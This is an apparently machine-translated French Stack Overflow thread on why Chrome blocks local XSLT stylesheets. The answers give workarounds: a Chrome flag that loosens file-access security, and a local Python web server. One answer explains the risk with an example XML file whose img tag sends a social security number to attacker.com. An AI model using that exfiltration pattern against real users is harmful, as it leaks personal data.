2010-09-30 5 views
64

Je regardais dans xslt et a commencé à tester avec les exemples sur w3schools. Toutefois, lorsque je sauvegarde les fichiers xml et xsl dans des fichiers et que j'essaie de les ouvrir localement, chrome n'effectue pas la transformation xsl. Cela montre juste une page blanche.Chrome peut-il effectuer une transformation XSL sur un fichier local?

J'ai ajouté la balise <?xml-stylesheet type="text/xsl" href="style.xsl"> au document xml, et firefox la restitue telle qu'elle est supposée être. En outre, si je regarde les fichiers via un serveur Web, chrome affiche le fichier comme il est censé regarder.

Est-ce que le chrome a un problème pour trouver les informations de la feuille de style lorsque le lien est local? Changer le href en file:///C:/xsl/style.xsl n'a fait aucune différence.

Mise à jour: Cela semble être un effet secondaire d'une to not treat file:///* as same origin. la politique de sécurité Cela fait apparaître l'erreur suivante dans la console:

tentative non sécuritaire de charger le fichier URL: /// C:/xsl-rpg/style.xsl à partir de l'image avec le fichier URL: /// C: /xsl-rpg/data.xml. Les domaines, les protocoles et les ports doivent correspondre.

+1

Il ressemble à du protocole 'file:' Chrome renvoie la même erreur de domaine. –

Répondre

54

La réponse courte est « Non, utilisez l'une des diverse set of browsers là-bas ».

La raison pour laquelle cela ne fonctionne pas est due à un problème de sécurité que Chrome a abordé d'une manière controversée [1][2][3][4], en bloquant les fichiers XML d'accéder aux fichiers XSLT locaux dans le même répertoire, tandis que les fichiers HTML peut accéder aux fichiers .CSS dans le même répertoire. Pour les problèmes cités ci-dessus, les utilisateurs ont demandé un message d'erreur plus clair (puisque les domaines, les protocoles et les ports correspondent effectivement), ou au moins affichant le XML sans le style. Les développeurs Chrome ont ignoré ces demandes.

+12

La décision de Chrome est retardée. Alors que leur [problème de sécurité] (https://code.google.com/p/chromium/issues/detail?id=4197#c14) est logique, les fichiers XML devraient pouvoir charger des feuilles de style XSL à partir du même répertoire, tout comme Les fichiers HTML peuvent charger des images et des scripts depuis le même répertoire. Il y a un [problème que vous pouvez jouer] (https://code.google.com/p/chromium/issues/detail?id=47416) mais l'équipe de développement de Chrome a interdit de nouveaux commentaires à ce sujet - en dépit du fait qu'ils se sont plaints qu'ils ne peut pas quantifier à quel point les utilisateurs voulaient que l'origine du fichier local soit assouplie. –

+1

Fait intéressant: Safari sur Mac (8.0) fonctionne très bien avec XSLT local, mais Safari sur iOS (8) simulateur (et je suppose aussi sur iOS) J'ai eu la même erreur que dans Chrome "Domaines, protocoles et ports doivent correspondre ". Mais si je dois implémenter UIWebView dans l'application et charger du XML avec XSLT tout fonctionne bien. –

+0

petit point dans l'utilisation d'un autre navigateur lorsque la tâche est de fixer le rendu xslt particulier dans les navigateurs de chrome ... – n611x007

43

Vous pouvez le faire localement en utilisant les drapeaux de la ligne de commande de Chrome.

Le drapeau spécifique est --allow-file-access-from-files

Sur OS X: de Terminal.app exécuter /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Sous Windows: à partir de la commande promptrun %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Note: Vous devrez probablement quitter Chrome si il est actuellement en cours d'exécution sinon Ch

+0

Cela ne semble pas fonctionner pour moi sur Windows 7. J'ai trouvé chrome.exe situé ici: 'C: \ Program Fichiers (x86) \ Google \ Chrome \ Application', et la commande --allow-file-access-from-files s'exécute très bien, mais mon document XML local (transformé par un fichier XSLT local) n'est pas affiché. –

+2

Peut-être que vous devez tuer tous les processus Windows en cours d'exécution pour chrome.exe dans le gestionnaire de tâches Windows à la main. Pour moi, cela a fonctionné. –

+1

'/ Applications/Google \ Chrome \ Canary.app/Contents/MacOS/Google \ Chrome \ Canary --allow-file-access-from-files' travaillé pour moi. Évidemment, je cours le Chrome Canary. Après l'exécution de cette commande, une nouvelle fenêtre Chrome devrait s'ouvrir et vous permettre d'effectuer votre transformation XSL. –

6

Si vous voulez coller à l'OP, la réponse est Non (comme d'autres l'ont souligné), mais une façon de résoudre le problème est de lancer un simple serveur Web et ouvrir les fichiers via http en chrome. Si vous avez 2.x python installé, vous pouvez exécuter un serveur web en tapant:

python -m SimpleHTTPServer 

Ou 3.x python:

python3 -m http.server 

puis fichier ouvert à l'aide http://localhost:8000/yourfile.xml en chrome.J'espère que vous voulez juste faire votre travail et ce n'est pas une chose cruciale d'avoir à ouvrir le fichier en utilisant file://

+0

excellente solution de contournement, merci! – Kostanos

2

Il a fallu un peu de déchiffrement sur la page Chrome Bug - ils ont très envie de ne pas expliquer le problème, et pourquoi ils ont choisi de casser tout le monde plutôt que de ne pas casser tout le monde.

Supposons que j'ai un fichier XML - quelque part - sur mon disque dur, par exemple:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

Et une entité malveillante - en quelque sorte - a réussi à déposer un fichier Xml malveillant sur mon ordinateur, par exemple:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imaginez TrojanVirusWorm.xml contient une instruction de traitement de feuille de style (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 

L'attaquant demande alors mon navigateur pour naviguer au fichier trojanVirusWorm.xml enregistré localement.

Apparemment, il y a une façon qu'un fichier XML peut lire le contenu du fichier XSD (plutôt que d'être transformé par le fichier XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 
    <!--And then a miracle happens, and this XML file is able to read 
     the contents of the stylesheet xml file--> 
<html> 
    <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> 
</html> 

Je ne comprends pas comment un fichier XML peut lire un fichier de feuille de style. Mais l'équipe Chrome nous assure que c'est un danger, et qu'il ne peut être résolu.

Tous les autres navigateurs l'ont résolu. Ils l'ont résolu because it's not a problem.

Questions connexes